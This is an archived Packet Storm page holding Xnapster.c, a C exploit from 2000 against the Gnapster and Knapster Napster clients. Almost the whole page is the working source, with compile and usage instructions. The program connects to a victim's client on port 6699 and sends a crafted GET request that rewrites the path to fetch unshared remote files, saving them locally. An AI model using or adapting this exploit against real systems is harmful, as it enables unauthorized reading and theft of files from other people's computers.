what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Xnapster.c

Xnapster.c
Posted Jul 1, 2000
Authored by WC

Gnapster 1.3.8 and Knapster 0.9 remote view file exploit.

tags | exploit, remote
SHA-256 | 53c82a8e2d27ddb652a607c8842ffdc06767db6dc99711ae7c83b0e6575c08d9

Xnapster.c

Change Mirror Download
/*

Gnapster/Knapster View File 'Xploit' by wildcoyote@coders-pt.org

Check advisorie at www.securityfocus.com (bugtraq ID #1186)

Compile with : gcc Xnapster.c -o Xnapster
Sintaxe : ./Xnapster <host> <filename> [port] [username] [file_to_log_to]
The default port is 6699, the username is "nobody" and the
default file_to_log_to is STDOUT :]
Wordz : This generation'rulez thi'nation!

*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int
openhost(char *host,int port) {
int sock;
struct sockaddr_in addr;
struct hostent *he;
he=gethostbyname(host);
if (he==NULL) return -1;
sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
if (sock==-1) return -1;
memcpy(&addr.sin_addr, he->h_addr, he->h_length);
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) return -1;
return sock;
}

void // send the buffer to the opened'socket
sends(int sock,char *buf) {
write(sock,buf,strlen(buf));
}

void
getfile(char *host, char *filename, int port, char *username, char *logto)
{
FILE *fx;
int sock, i, read_test=0;
char buf[512];
printf("Trying to connect to %s [%d]...",host,port);
sock=openhost(host,port);
if (sock==-1)
{
printf("FAILED\n");
printf("Exiting...\n\n");
exit(-1);
}
printf("SUCCESSFULL\n");
for(i=0;i<strlen(filename);i++) if (filename[i]=='/') filename[i]='\\';
printf("Sending request...\n");
snprintf(buf,sizeof(buf),"GET%s \"%s\" 0\n\n",username,filename);
sends(sock,buf);
printf("Logging to ");
if (logto==NULL) printf("<STDOUT>\n");
else printf("%s\n",logto);
while(read_test!=-1)
{
read_test=read(sock,buf,256);
if ((strstr(buf,"FILE NOT FOUND"))!=NULL)
{
printf("Sorry! The client returned \"FILE NOT FOUND\" when requesting %s ...\n",filename);
printf("Exiting...\n\n");
exit(-1);
}
if ((strstr(buf,"NOT SHARED"))!=NULL)
{
printf("Sorry! The client returned \"NOT SHARED\" when requesting %s ...\n",filename);
printf("Exiting...\n\n");
exit(-1);
}
if (logto!=NULL)
{
fx=fopen(logto,"a");
fprintf(fx,"%s",buf);
fclose(fx);
}
else puts(buf);
}
if (logto!=NULL) printf("File saved to %s ;)\n",logto);
printf("All done! :]\n\n");
}

main(int argc, char *argv[])
{
printf("\nGnapster/Knapster View File 'Xploit' by wildcoyote@coders-pt.org\n\n");
if (argc<3)
{
printf("Sintaxe: %s <host> <file> [port] [username] [log_to_file]\n",argv[0]);
printf("Example: %s 192.168.0.1 /whatever\n",argv[0]);
printf("Default port is 6699 and the default user is \"nobody\"\n\n");
printf("If the last argument is defined, i'll write the remote file to it!\n");
printf("Else, i'll write to STDOUT ;)\n\n");
}
else if (argc==3) getfile(argv[1],argv[2],6699,"nobody",NULL);
else if (argc==4) getfile(argv[1],argv[2],atoi(argv[3]),"nobody",NULL);
else if (argc==5) getfile(argv[1],argv[2],atoi(argv[3]),argv[4],NULL);
else getfile(argv[1],argv[2],atoi(argv[3]),argv[4],argv[5]);
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close